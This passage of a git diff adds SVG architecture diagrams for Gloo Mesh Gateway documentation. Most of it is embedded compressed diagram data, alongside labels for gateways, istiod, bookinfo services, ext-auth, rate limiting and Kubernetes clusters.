wMDA0nMf69YTxUFx1MDAxOLHCTNY/XpJSxlx1MDAxOSzh+2pBqcRrKVx1MDAxOeSQVvPCXHKEXHUwMDAwgDO2vFx1MDAxZTd9h5EmQJNcdTAwMDKU+Fx1MDAwNpSMsalZ4mZiO3xlLlx1MDAxZKxmskKZpFxmNlxiXHUwMDE0yID8mFxcS3xcdTAwMWW65i/7z62jX1x1MDAwMnv3XHUwMDBiQGBcdTAwMDFcdTAwMGKwOTaPXHLryOiOzTCqV4ulXHUwMDBm+VKNP710WNAtL1x1MDAxMCuKmV4poFQoc2ZGMFx1MDAwNoRGsWZGmVx1MDAwMHPT/TIjtC5X3DIjzLQpXHUwMDA0Slx1MDAxMmiMKiNXXFzSr1ZCX0brI9jw2uLZXHUwMDFmRPmfiii96Wbpz/dcdTAwMTJcdTAwMTJcdTAwMDBcdTAwMTjE8q9cdTAwMTetdVx04YAntsirTnUn9GaWe+Yhklx1MDAxObyls4PbbDFySjN0XHUwMDAzISFcdTAwMDCacEBcdTAwMWbCTDOkdMk/oyxcdTAwMDJqXHUwMDFjpIQmc2v0KDJcdTAwMDJcdTAwMWLwNkf4goPhLLmbg8Z4UTFsXHUwMDEz/o9cdTAwMTXneMVcZpVcbnDn+lxutFx1MDAxZpHxnyoyTIco00GXXHUwMDAzMIJcdTAwMGLMm2WLXGZ0XG7YTmBaXHUwMDAxXHUwMDE2XHUwMDAyXGa1XHUwMDFlO1x1MDAwMVx1MDAxYzZdXHUwMDFjmNRcdTAwMDCgXHUwMDA0WkKxiFx1MDAxOCxcdTAwMDZcdTAwMDaMXHUwMDE5XHKwXHUwMDAxiMVUzmc/I0kxdlx1MDAwMjEz909LXHKYnlx1MDAxOPS03lx1MDAwMJCWMS8xXHUwMDAyg1x1MDAxYrYo7NM051x1MDAxONL8XiCpOVxcci1cdTAwMDLD2Fx1MDAwMrtIKMDXRFx1MDAxYdtzaXPGcjFGXHUwMDE1nFx1MDAxYsCmtSBcdTAwMTFTS4Lk1KDG5y0wmKNMXHUwMDA2wbFyY0rA0Vx1MDAwMWBcdTAwMDamXbuep4Awl4GkRFx1MDAxMmKq6ZGpMWJ621xuZD9cdTAwMGa+QN7DvJl5VJvHfu/zN9Fe9SHXfE3VklmeXHUwMDBm41jvpON6N9FcdTAwMGZAt4BcdTAwMWYp2EKmgY8zMYIyS4Hc5WDagPXIyV7BLf+BlVx1MDAxNjfp+cCExkIlxK1bJv5FdVhcdTAwMDB9XHUwMDAxgCQr8a25fcuVWtc9M9A6XCI4PnyGsCd6XHUwMDAy+UNcdTAwMTHVW0R+8yhTXGZcdTAwMTEqevFoLIReo0WVv9bBXHUwMDA3T1pcdTAwMTNj3INoXFyKbXFqXHTQOIKbhpSK7MdcdTAwMWJ7YidcdTAwMDU6XHUwMDAw8fkwLdNcdTAwMWJzpX5fXHRucoR/PPgrjPFPXHUwMDAxT/5YJ1x1MDAwNGBHM2WyyU2yk6JqrYPXXHUwMDE37sB6wtRcdTAwMDNzpozDXHUwMDE4sbVuMV+8Y9xic+dcdTAwMWHoXHUwMDA2zJSg6z28/ohcdTAwMDdcdTAwMTakXFwqXHUwMDEzmYNbcao38Hj6Yp6QaYspYU1cdTAwMTNCZqY531qE51x1MDAwZnpcdTAwMDDzUNDKc3c2MWpR21x1MDAxNtxcYvN4NlqwN1x1MDAxMV5pMWVcdTAwMDRcdTAwMTndJmUhflx1MDAxNau1q+FcIr1cdTAwMWG9i2H2cXbduvRcdTAwMTLra5rNLbc4OWLiuMBmxiA2xVxuYHHaXHUwMDA2l5u/XHUwMDA3aWrB78FcIqYmNCC8892UIDVd2Vx1MDAwM/Uwy2B4XHJcdTAwMDY4I8SelrpcdTAwMTDu0pLctLtVXHUwMDAwpVx1MDAwNVnttqk0NeUha0HPf4pk9mps0MtWWaLbe2i+hJPTXHUwMDFhioTJXbjkUE1/XHUwMDFhXHUwMDFiYMu0syTUlG9rU7zq0taXWcDLXHUwMDFjZI5pMyZAivz+xJbdXHUwMDE2Pl7Dkc8mS8RmVTROPbavc/Xcg+umkMWx8XxQXHJ2XHUwMDBlNs2+VzfFLVxuclx1MDAwMJF5epfpkrWyqbPqtuBJ/eZaoftDiT8zU9TT4DPKymTjbyz+/EfaXHUwMDA2s88whSO1XHUwMDEwwfNva6ScQ/phjKQ1T/lAiHLmU1S2V5N1XHUwMDBlxIxcdTAwMTVlWJiWY5S5paZwZZzEgLxcdTAwMDGwYFtPXHUwMDE021xidsNcdTAwMDanXHUwMDFjzFx1MDAxYVxi0TctTUc5MeyDXG4mrWel+6+t4qublDG+YFx1MDAwMmaCXHUwMDE2XHUwMDFhUamxW0tcdTAwMTdjZVx1MDAwMyBcdTAwMTFg92ui0WpD341cdTAwMDTfXHUwMDE2fd/neFx1MDAxMzNtqnuxSd1Y3ZMy7ek4XHUwMDA3SuGcXHUwMDAzXjpruedN+r/eXVwi+oPJPYW859NcdTAwMTJcdTAwMDTKkG0xXHLGf0R4MOVcdTAwMWUjXFxYJlx1MDAxME6VqWVVyz1mkLI0MUNxXHUwMDAwvVx1MDAwYuU9dnovuceYXHUwMDA1qFx1MDAxMUAlXHUwMDE4T3BHlzxuQ1x1MDAxZmCJXHUwMDAxqDNxXHUwMDFijFZyVY3zi0l2ytbDgVx1MDAxMHtcdTAwMWadWL3Kk/wq9fTSqcn3XHUwMDA0a4UrXHUwMDFl4FxupJ1cdTAwMTnJQbBJhsLKdbhcdTAwMDQgfpNQXHUwMDAz9iBSRO3YX2ubnu9cdTAwMDA1qMn2XHUwMDAwg1GBriUu7U41XHUwMDE40pxT01x1MDAxYcx4Nsl5i76QJ/mba4Xwt1x1MDAxNH2+vVx1MDAwNLhPJJhJQbTaplx1MDAwNvLqLaazl6/5XFytnW9/fHLeefl8PKWnf1x1MDAwM9THXHUwMDAx18E3xaDTzStebjhKqTVPXFwzna1MPzdP+bdPJ41NhjPappZ9Nc/gpvrGnjJ+Vt3Wi/F6qlZcdTAwMWNfxz+FrHfwsJNcdTAwMTRo8red9n+mM+6x7pGO92dZk1x1MDAxOKffPnPPzdyM4Fxc7CZ2lexN0f1cdTAwMDGe2XMqXHUwMDE36XdyOtX4XGbfxmPvw6fb2XCvddeNZ3Q/oMWyK0Lg2ONcdTAwMTmFLVx1MDAwMrXiiEBcbm3V3Mb/8Vx1MDAwN3Toh+mT6K+TtMVsOul4Uz82XHUwMDFk+1xyqIUhqdeWiZ1bgHhBKLtcZmi0zb9cYj/e/rs7qlxyp/am098w93tcclwi85nYXHUwMDAxO774veE94KXwhJeUalx1MDAwMTB/izzDXHUwMDBm9vKefCvGSaZcIlx1MDAxZTCXn7eZctAnfzNunEtUz4f0XHUwMDAwjlxcZmSTqI41YH5i+jDuXHUwMDE3LD8suITdgsFB2ZliSzZKNVx1MDAwN6FQY/xZo/ncO+5dtVx1MDAxZjzA2lx1MDAwZrbcft0jXHUwMDFk78+yx1uWhjo03ChGbkK6XkpcdTAwMTfDV4lJsXVcYlx1MDAxMqvnhtPZXHUwMDA0y+mzXG69iVx1MDAwMvooPESPXG5Z3Vx1MDAwZuiEkFV6e1GYxIhtVXPj//hcdTAwMDNcbllNXHUwMDFhla+iXHUwMDEzljiUojtcdTAwMDRiXHUwMDE1gqh597vgard/JmBdXHUwMDAz8lx1MDAwZVx1MDAwMFh9QuA+nSNcdTAwMTkm3FxmWNuYjf3FbUBDQZRpy8xcdTAwMTmgXHUwMDFjgT2nlrlYaFx1MDAwYoRcdTAwMTkx/UyNjXqcWJDSXHUwMDE2XHUwMDA2IYGJMK9cdTAwMTS5dI0kllx1MDAxNvA4qInEc64xXSmLwUibYs31XVV/okG2ILhcdTAwMTKIwqMzJe1ScJe4i6kmQdjUWFx1MDAwYoVcdTAwMTXfNf3Hl8cvnMEgiUx9iOk3p03DXHUwMDAz5bYpXCKxIMj0YTNcdTAwMWYhK7s6s2G7nlx1MDAxY2Cu0CrxL9b7y/5zh1g49XS9YYAxXHUwMDAyS765XHUwMDAw9MeFXHUwMDAxXHUwMDE1gIIwi3LBXHSwXHUwMDAyvK5cYkBqYUlcdJNw9FqT5Z1cdTAwMWQoXHUwMDE4juD5M4ZcdTAwMTUoJMFA57hcdTAwMTRcdTAwMGZji8HzYJwqbvpmMLSCcJhcdTAwMTmaRH/GbG4sbEyJv+mWTDAmkmsgXHUwMDAxl3A4fFxiXHUwMDEx2CA1jYPgM6uyZiNcdPiSXGJcdTAwMTUxv+lG+5VbmstOwyxcdTAwMWJvum/KnIVp28JcdTAwMDXWXHUwMDEyueUmmfglZ1xuIU2xJJSed/6jN/WbK7RK+Fx1MDAwN5N+XHUwMDFhe7fVR4zNs9u3aJ3gXHUwMDFiIVxupvhcdTAwMDP4Z/LcXHUwMDA0iFx1MDAwZVx0Qlx1MDAxMNOlMcOmLM400MHG4c+Z9Fx1MDAwZYbvXHUwMDA1XHUwMDAw4SZgNks2XHUwMDBmblPhlv5ccrxKqZn6R01Okr2E51x1MDAwYlx1MDAwMFx1MDAwMog1ier/dPnnXHUwMDFmXHUwMDAxcIIt0PF43tOFUEVcdLE3dVnkXHUwMDAzSY6QXHUwMDE0XHUwMDEyXHUwMDAz1pJa/Fx1MDAwMVx1MDAxZltcbsBqIfZx00zzQYWy58l9tfFcdTAwMWO9XHUwMDFjekFAXHUwMDEwfqCKJZ2nplO2mlx0KSzGXHUwMDAxuzBTtaJcdTAwMThcdTAwMWPhWUvAkCdcdTAwMDPM312l/cPhP5tJt5xcdTAwMGLJXHUwMDE4oY5auXVcdTAwMDLQP5RcdTAwMWRQXHUwMDAxXGJcdTAwMDdqmV7ocPia2yOrv+WfsDjgQoWU1Fx1MDAwNlx1MDAwNlx1MDAwNtdcdTAwMDDmyERkXHUwMDExXVfb+CP+XHUwMDE28E8jzSlTZpSlJtKt/lx1MDAwNbSj0IRcdTAwMDBcdTAwMGUzrzsmgW+Rl47NMEWETCNAZLqDrla/aMs0MZKYmUJAMElcdTAwMGWSXHT5XHUwMDFmbPz6hqtcdTAwMDX1ln9SmW56aItcXHDfkbJB9eObYLFcdTAwMDI+XHUwMDAwXHUwMDA0YF6XXHUwMDFh41x1MDAxMGpJY2yY9nvK9DrzXHUwMDE0gJs0aPVcdTAwMTKAYLRaxHYxt7beRFjaftlCXG5/klKkXHUwMDAySpL4hFwicJ9cYnb1Jfn51lxi599cdTAwMWXHkfpnktTJw9g+knhFo3+941x1MDAxZq870dT33bmS2vKfVob9mVx1MDAwNo6ab1GZW1x1MDAxOUz6ucGsluwqSZo0mX8qR+gusGQ5hnVMplSOXHUwMDFjZWeFXHUwMDA2XHUwMDE1eFOm3KAw97/KNVaulleZcsdcdTAwMTRlpilcXDzIgTY/ZtHXavg2XHUwMDBloau73GUtk36ohT5cdTAwMWWuf9JIXHUwMDBllUZypOM9+LLrMlx1MDAxMtxv+FxygtMrI4FcdTAwMTLPal7TzFhv58ryPc7AXCJcdTAwMTlN/ISmtMhmQnM5re5oObRgXZJA59udICNcdTAwMDEsqSHs7uLf3Vx1MDAwNtxwVvr41mSENVhhOVx1MDAxOeHPZv9sdVx1MDAwZsgjPItSXHUwMDAxXHUwMDBmU0bkXHUwMDE2mVxi/afHTOKlnqTZ13T7hn3W8uE7XHUwMDE5eMTDvZmXcVx1MDAxOVxcxMOxoJyqU1bf71x1MDAwM3gq+WlP44f7Wv75uk+excd1cdT+XHUwMDAxPIdcdTAwMDI8RzreIy2Lc92KqOSK5ddaPoLCsdQlmlx1MDAxZKLK6eDbXYfP3G94SnymvetuJTGDodRcdTAwMTZVTv7nXHUwMDE5XFyAhnxkvKCBXHUwMDAzaKbzlbJPvVxmnGQ/XHUwMDAxQquVRuNZbTQ+XHUwMDExRFtcdTAwMDNuliHa1273x2hcXHo7i7FcdTAwMTlcboq2MLFcdTAwMWGN3HOolCFjNri8iTSTXG5cdDZcdTAwMGU8XHUwMDA3M8wtXHJ2XHUwMDBiZfNX56hcdTAwMDVKmKW4XHUwMDEyXFyamVx1MDAxOVx1MDAxNPklfVx1MDAwN8FZXGaPjFx1MDAwNrmA0U+hXHUwMDFly1ecb+m7VLmQ4HxYqHw8xlAxUUtcdTAwMWVg3Zfyk7pcdTAwMWV30bCCov3nXHUwMDAxYpVUu1x1MDAxN2RcdTAwMWY0k96jkDmQt7K34F9byNgpJFXvPf8ye41H3iaEpO/zL1x1MDAwMTfIXHUwMDE4lZbplyvN1CXkzFx1MDAwYqLmvc04fVx1MDAxM3uMXHUwMDEwVa655UXuZo+ZNCZ2tj0yXHUwMDFlX1xuQkWeQ5VYLKFvZI3Ei+XCjz12KHvsSMd7Lsuus5vcb/hccsLYy25i3vNTXHQyczBcdTAwMTTZwm7yP8/Aoi5GvEWx6aK3mSg+itlEVpBcdTAwMTVcdTAwMThNXFxxk4lcdTAwMWVcXFx1MDAwMXxcbrPpfVxcmoyb9uP/spVs8e7tbKVxz/Ytl1x1MDAwYuv8QceKofR7f7tDJo68J9FcdTAwMDFkXHUwMDEyXHUwMDEyadtxrWPVbJnWk+L1Jlx1MDAxNVx1MDAxNr3Xj/zj9Wfj4TnwmElZ2tPBIXVwQZPpOCowUupM7aF2rDBcdTAwMWRcdTAwMTU/K4l0r929bNPkTabY/EFNh0JNRzref/iy68CY+1xyT1xixuwzXHUwMDAwliW8qVdCjrq0dVx1MDAxMt7/PINcdTAwMGLGqI+M1zJgaFxmM4q1XHUwMDE5XHUwMDA2XHUwMDE3YHP4XHUwMDA0aGxcYre5aLc6rbFHu4OdIdlcdTAwMWH39Vx1MDAxYVizjMpcdTAwMWP73Fx1MDAxZJox5Vx1MDAxOX1cIphcdTAwMTFT+7W5XHUwMDExdX+TVlc10i6Ey8BLJFsr9ydBT6hkVHiaUFxmXHUwMDA1XHUwMDE4mFx1MDAxMcTNWFJ7cDBw/OunNFx1MDAxZifJoe5kY09FWWzd91ufuSnxQCQ/wGxcdTAwMDd31nGO92fZYyy71vnmesNT4j3u3Vx1MDAxZlx1MDAwN2GlXHUwMDE5QVvgPf/zXGYu3sPemoNcdTAwMDRcdTAwMGXuXHUwMDEx43qjOMg1MKeAe7WqbT7jd+C8NSBpXHUwMDA15803uFx1MDAxM5Pa6+VX3G7zuVxuaItQZa45elaDWv82XHUwMDE0enq4XHUwMDFkvGfep7eH7WJwhCl2SFpIcVx1MDAwNDKJgFx1MDAwNbZUw4aptDjYatp8glx1MDAxYlx1MDAwNvFk0k3SXHUwMDEyvOBcdTAwMWShLl1b5EqbXHUwMDAyXG64XHUwMDBmmSHTp+PPdWW6fjrxRHF8V+5Xjt/6cH+j3euFOrVRM1SqVnvd0b+73Vx1MDAxMvxcdTAwMTNIrOYqXHUwMDEzxK6pSz7ueMe3WOZ+v1xy+spcdTAwMDTPyn5JPH3xXHUwMDA0XHSiTCfmzX3x/k89oEJBMUtcYlx1MDAwNoTFmFx1MDAxOZDmkFx0XHUwMDA0c1x1MDAwYisplDbjSn362u0jXHUwMDExMKFcdTAwMTYnUnLTWYNw5TKyWFx1MDAwYlx1MDAwYpnmXHUwMDAzWlPGsdAr5p8kSpsy9Vx1MDAwMIuLb6nq91dLXHUwMDE3S+OEKGFcbl6VqVxidlx1MDAxNJT/rqHnljAj88C05srMnt1xxpF/XHUwMDBln3NTXGbQMiZcdTAwMDKZSUdcdTAwMTQvJq1+7Vx0U0tcdTAwMTBcdTAwMDDcSjJQXHUwMDEwXHUwMDAwJVd77Z1VT1x1MDAxM0/qN9dcbt0vlvvL/nNruWdnoVx1MDAxNVx1MDAwZjXjXG7xbdKs7/OlfCiee43etuRjd1i7XHUwMDEz0UEj4HKPa21RLVx1MDAxMdFaXHUwMDEwjJaGu1x1MDAxMU0sSoHwwUJg0qeaf4P2815yj1OLmHahnJvuZJwunsiim1x1MDAxZFx1MDAxNlx1MDAxNiOUXG4pqeaCrsYjiTIxY6xO6LZcdTAwMGXIoHUv6XODa6T1KFJcdTAwMTXOR1FcdTAwMWEtZKPxaddN+iCLXHUwMDEyrJRcdTAwMDSaME9cdTAwMWRcdTAwMWX+aqNPoiyt4amBfDJccqzpQVpqnk74eJLg/N1cdTAwMTXq21L6rJmA4ZNcdTAwMDWB2FxcOW2OvN77d/fhUK7zeFnrkkp+kEHxNlx0tlx1MDAwNFx1MDAwMjjlN8zGdC9A835K2owgJj5J4t8/X43IwI+1+bqHi3VcdTAwMTa/eyjnUslxvpFcdTAwMWHg57fn5nBa/smCOJiz/UjHe17LXHUwMDFla1x1MDAxMNrBt7vO2+5+w8WyK8x69Dlo1LtE0HiMtmtH6n+eXHUwMDAx9baD7vBcdTAwMWLOSaWy+KF0x0Hc7ZQxY0n+ZFf8ovDf/qxub1x1MDAxY2p151x1MDAxZa1vdbqvQUvLbjf7NndcdTAwMDd8VFx1MDAxMC+2NS3VXHUwMDE0XHUwMDEzdPPWXHK3rPSW0umXpm7nRKae6ryn3nWwcyvmeI8uXCJk2MGyZkxcZpj/XHUwMDAwelx1MDAwMfhx7d1Ac5PUisOiPUkwpVJcdTAwMDc5VOaLylKTbPejUWatcq5RqPfGd7dcdTAwMTl8XHUwMDAwsHekZY+EIZORabh+rZOvXHSEpuGnfEXG1excdTAwMDDr9q/xZXake+nyZ5KxzGW5XHUwMDFmr3mMkd1q3TN7aodedlx1MDAxZChzv+FcdEFcdTAwMTlAXHUwMDBlT1AmkFx1MDAxMFx1MDAxYVx1MDAxMMDmKVx1MDAxMP7nXHUwMDE5ZFDmLeAltdCBXHUwMDA0/CEgXHUwMDE5Q4QpzNRP9dGFXHKRnVx1MDAwMo2twTKrzbQ2QGKeZYLIM1x0glx1MDAxMlx01KC2mDt7815Hg1x1MDAxMU8/p1x1MDAxYo33yeVcdTAwMTO+epmFXHUwMDAy7nRjSFlKXHRgQEZcdTAwMDTnytmaXHUwMDAx7Fx1MDAxNEtoxLmJhlKTXG7hbTntXHUwMDEz8WQuwGs1XHUwMDA3gpiBXHUwMDFlXGZcdTAwMTNcdTAwMTngXuW+mGPygFx1MDAxMtVKhXfJM6o13sOZVu15M2ywj/5ylVx1MDAwMFx1MDAxYidBNMfjfrnVXHJcXO6Dy758JYBn6E95l1x1MDAxZlx1MDAxMkRcdTAwMTTGcovqQ/9HXHUwMDFjUFx1MDAxMcCQZfKfXHUwMDA0XHUwMDE4NVx1MDAxYVx1MDAwNOKCXHUwMDE3f6U8/Ir8MVx1MDAwMbhcdTAwMDUrZDN7XHUwMDBlKlx1MDAwMpBcdTAwMTlVT7QgXHUwMDE0rCtOlEtWlFKWNkOVXGJcdTAwMThfILH06jA/IUyCykmndVx1MDAwNlwi7cFfXHUwMDEzXSylPVxiXGaEzrAgXHUwMDE4U7VcYu5euKc9XHUwMDEw8WeS0pZpXHUwMDBmLHVXSKSbXHUwMDFmtZsnUVxiv7avpome6ywr2JSAu1xiM1qQUlxyXHUwMDAwcjXtgVx1MDAwMM1qQlx1MDAwMNwhLblE9MxHuXjTv7lWKH+x3l/2n1tcdTAwMGI/7N3+XHUwMDE3XHUwMDBiXHUwMDEwXHUwMDA2QnG6ue/46j6eXHUwMDFjdGit9/pQeFx1MDAxZeC+7H7kPoNupjAkiW1cIrHTc4wxcniOhXfK11x1MDAwNpnanlx1MDAxZESlJW2XXCIuk1xc8GLXf/xQXFyAxJCn7JdcdTAwMTCQVFx1MDAwN8c758T2ns/dXFwgXHUwMDEztmRzLytcdTAwMDd751x1MDAxNoCoYYDwxeaZ3uV7efnWqvRcdTAwMGL8MTZcdTAwMWUmUtWnUohcdTAwMDedyakkysJamVxcOvNqXHUwMDBivJhcdTAwMDVcdTAwMTSWXHUwMDE2poJRziSRSPlgnFxyklx1MDAwYjz7XHUwMDA0L2TLwlx1MDAxMWHLpfo9cVx1MDAxY/bKMUP/sWy9kyNiil3NXHUwMDBlrFx1MDAxY588vtkxxbs5XHUwMDFhXGLyUbRCXHUwMDAxeW7jaVDTzGU2okuJ3IyU6p+dytO07DUzPDg8qJi0XHUwMDEwxZKJ+atcXOVBu6r1cTXswYPErevjXG5cdTAwMGZcdTAwMTIkuKl9/4+dXHS5XHUwMDFiXHUwMDBmkoDwINmNXHUwMDA3sU+SL2HSzPTFm4PdXrbKXHUwMDEy3d5D8yWcnNZQJEzuwqWg86BhPVx1MDAwYsuvTqxyhVx1MDAwNe11id5jq4+vXHUwMDA2iSlcdTAwMTSlYHieqbMvflx1MDAxNau1q+FcIr1cdTAwMWG9i2H2cXbdutS2bV18o7Pvn6NlvefyaVx1MDAwNUfG2Fx1MDAxNjm0Sfb+XHUwMDE4x+l6PCojvdebxmRy9VlcdTAwMGY8g0tCLITcrVnD31xudC9cIphqKtkpVSzGhGKmTjrH5kfHXHUwMDFlXFzHXHUwMDEym+91dZ6UIFx1MDAxNG1cdTAwMTH2vrpcdTAwMTXTfnF23Yx2XHUwMDFm6IDPMt3qjddk4IBxoJKgPrl5dbrTpdJcdTAwMGVcdTAwMTbUx2FBl5pBXHUwMDE3XHUwMDE2JJiDusf/sUWCu3EgXHJcYlx1MDAwN9I9klx1MDAwYlx1MDAwNfZMP1x1MDAwMUtUXCKOhNpcXFx1MDAxM8bTvJO9XHUwMDFmhUdcdTAwMDNyJXWi3/xA407Ao1pUm1x1MDAxOcx/XHUwMDEygtFSXFybSFNayVx1MDAwNcOKYI35fkj3wNUkylQ/4pNan/skXHUwMDE4Jm+uSkPy0Vx1MDAxYr6iSrdwd8lcdTAwMTMvjWhwM1x1MDAwMc+tmuRIx3tey1x1MDAxZaua5FxcTmFdPqT7XHJcdTAwMTfLrsiAY+dD2udcdTAwMTCu4EI2r7De3PXif5xcdTAwMDHFhaCRhJ9GUtLSh9JIh0iIXHUwMDE0XG5cdTAwMTOtxE+FyoVcclx1MDAxY45cdTAwMDByVUvD6sVjr+pcdTAwMGVcdTAwMTOPlFx1MDAxNLlcdTAwMDaCLYNHxz53h5GMeZaWXHSiNVx1MDAxNZpvUaNSeVx1MDAxOMpaXCJ5XHUwMDEzmaRZ/eouXHUwMDE2yaXULijyXHUwMDFia1SoRlx1MDAxNl1cXMtcdTAwMWSiuLCw1ppcdTAwMDBeXHUwMDEzxMdd+v1FKlxudlx1MDAwNZ/lZ9r+c5yIp6X+XHUwMDE41/toXHUwMDE2v3zT6PM6Xd1fXHUwMDBmXHUwMDFmadmfXCKVc3xq57LsOqznfsNcdTAwMTNiPZ+u0ZhcdG7yTLdoXCLmf57BXHUwMDA1e9xPcUhqiVx1MDAwMymOQ2A9ylx1MDAwNENanTLnJIBgXHUwMDBmsNPFrDVuXlxcdac992mlR6uB8cdKy3Bvaae7XHUwMDAzPs48XHUwMDAzaFx1MDAxOCMlhNymbO0p2+nnO9P7z1xu5rPbz7typFh/XHUwMDBmut9wnmv71UuAOt33XHUwMDE4bFVLSoP8MJKAgX1aXHUwMDAw7tFcbmvXNjRcdTAwMTRYgbBT1sfsXHUwMDAz+lL44fHjKswnrZFOhWL1l/ro+Ta46OzcXHUwMDFjh0c63iMtm9MprajKvL69JIdccjWLTlx1MDAwNrPXXHUwMDAznMJdXHUwMDBihTqy+Zx9zd6np6JcdTAwMWRcdTAwMTK1psdI+a3WzaCKbJTQMIFz42wpXHUwMDE2RTE86Fx1MDAxZWDd51Qu0u/AaTQ+w7fx2Pvw6XY2PMC6T9O3QSc9ruhy8vPms5VcdTAwMWQ0XHUwMDA2mUNM7D04OayDv+43PCH85drT1YmxpkoysoVcdTAwMGX1P8/gwl/qq0VcdTAwMDWxyEZa9Lv632OKsJQnbZhcdTAwMWJAXHUwMDA0XHUwMDFja/d6XHUwMDE3d7VR89v9nWug4zJcdTAwMDB2bnRcdTAwMGb8y71NV6lMXHUwMDE3Xkw259276+frxn3q6TOuVD5SilXiicvImeFfJ+NySi3KiFRMSI24rcnFQTNEd4O/iCEkXHRcdHDEwk9xdmqpm8/4WzTbV1x1MDAxZr3PXFy/3828XHUwMDBlftDvodDvkY73vJY9Vtj84NtdXHUwMDA3+txveELQJ7zj25gxYZJcdTAwMDK3qLHzP89zXHUwMDAxfUuqgyNLbaQ6vlx1MDAwYvMpXHUwMDAxqozRIHftPVx1MDAwMea7XHUwMDFkjVu9b8d7a6DSMt5bbHInbuXKZ/ZcdTAwMTFcdTAwMTFcbim8RdOPfDxLMvilejvRj61ZpHRcdTAwMWa/f1xyfncuhsl8vtEvZl3u94/kZlx1MDAwMYp9k1E0XmVV6lJcZoQoZo4pwYFjVT/9OHkrik77LfaSzVxcXed7vWa6/6g207v7aDJXQbBx559krVHruktcdTAwMDFbfvn3JEP/3stuqll6liRgU1xix0ybr42ZPUzeXHUwMDEzscpNMT28XHUwMDE2w2xavzzd5Fx1MDAwMu+PYVx1MDAxNDFLmOYuXGZcYobbmjXNW/FZprlcdTAwMGJTgpuRvtyvydee3C5dSv9WuV1rrLQ+aWOLfZi9d11OXFy9p3KJbu65O0unc2+9yoZcdTAwMWXm0zF7pN1yPLFTMvvvvfgyu3c7L+9eXHUwMDE3mpupyHKLXHUwMDEyX98nXHUwMDE5SP9cciMmY1xytDrhkiHgZlx1MDAwN6dcdTAwMTNiKSQwxlxuXHUwMDE0qlwiYr+yXHUwMDA371x1MDAwMWamr1x0oPz5uCBsf1wii+5+lulcdTAwMDNAKHC6maSmV4uTXHUwMDE0MzOe9D++l5e/wrmwz+vB8ztzqaniWC2g+sXXsDBmXHUwMDExQUBcdTAwMTEoM95cdTAwMTN035pcdGZn21gn5E2D5lqhvsV6f9l/Lkuf3+VQXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DL4ot4iKjfvaaYPS3IaVwig/ksbJetXHUwMDFmyFx1MDAxZs5cdTAwMDI9vspKXFz4XHSFQ/hlt1x1MDAwMTXHSM51Z/yD8fVcdTAwMWaJo1x0I8bGWCmdm2/HMzGGmp6JeiO1sixBXHUwMDFj/LGLXGY5MNNwx1x1MDAxZoCgcFx1MDAxMCuVa1egXHUwMDE4O2hcdTAwMThcdPuClPC1K9hI3FxccFx1MDAwZau8ua1IWi9kKXrlXVx1MDAxNq7Id1WIyYf4ZSTyfukmZEMgZc1oTaK06WxccsJUrDZMXHUwMDA0y5owM0JcdTAwMTI+XHUwMDA1gFx1MDAxYpM/8mXLjomFR/4+SfHLR5RrxzqpcTGazPS9doVNOT1AXHUwMDFjXGZcYlx1MDAwNzOpV3alXHUwMDFk87OIWm3juIv8/iUn//r9VP4u9fvpMZDx17f6e9qqzS69893/+r1cdTAwMDEjZGrmu/zP//71v/9cdTAwMWZbSLlAIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/efault/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg new file mode 100644 index 0000000000..cc2b6a67cf --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVMqybfve39cbqPP6986OVx1MDAwZvdNRSZFRVTU2zdcYmZQJlx1MDAxOUQ4cb77XclcdTAwMWUsqMqimKTobfVcdTAwMGVspchKMtfwWyvX8D9/XHUwMDFkXHUwMDFk/T2c9Kp//5+jv6tcdTAwMWblYqtZ6Vx1MDAxN8d//8f8/b3aXHUwMDFmNLtcdTAwMWR4i8x+XHUwMDFmdEf98uzOxnDYXHUwMDFi/J///u9ir+d8fsopd9s/PlltVdvVznBcdTAwMDD3/l/4/ejof2avrmf1q+VhsVNvVWdcdTAwMWaYvfX5OCn44l+vup3Zo1x1MDAxOdJcXEuu8e9cdTAwMWKag1x1MDAxODxuWK3Au7Via1D9fMf86e9pq1V+aMbq96X286SeL2dTd5Pbz6fWmq1Wbjhp/fhexXJj1HfNaTDsd1+r+WZl2ID38cLff39u0IVcdTAwMTX4/FS/O6o3OtWB+f7o91+7vWK5OZyYcdDnX38sgvu+XHUwMDBm+E1cdMZcdTAwMWONidCKmVf2+13zeUKUcCiiXHUwMDE4XHUwMDExTDWVi/M667a6fTOv/2KaIy4/Z1Yqll/rML1O5fNcdTAwMWVcdTAwMTitVFx1MDAxNZ/3jH9+W0KIg1x1MDAxOVFcXM5ehfrclEa1WW9cZs09XG47v26YvdLPqVRnW4I1Ulxuw7/fb5jn91KVT+KY/VWNy6+N2GXtXHUwMDBl0cdcdTAwMTOVzTyKflv8/fP9/7e48I1iv/dzgf+efVx1MDAxZNdXNL+eL1x1MDAxMqCbXGJdxJErvVckPn5u9586p9c3pDrqXHUwMDE0XHUwMDFlf481R7HFfr87/vv3O//7n6Bx31tF9lFLUn42uKZcdTAwMWaj51x1MDAxM1JIlMON6/nKo16l+IO8sWBKwZJLzJH+/X6r2XmFNzujVusv18xWYznFrCyHgYZcdTAwMTTHQtLQPFx1MDAxNyek/1SOXHUwMDE1ZeHqcaJO38+HhVT263hcdTAwMGWvyXOcOlx1MDAxOLhKMmFe6TzPwV9cdTAwMWMqXHUwMDA1YpwzxTViVqZDStZ4KZjpMCkp5cd0SDnEdTHhw3REO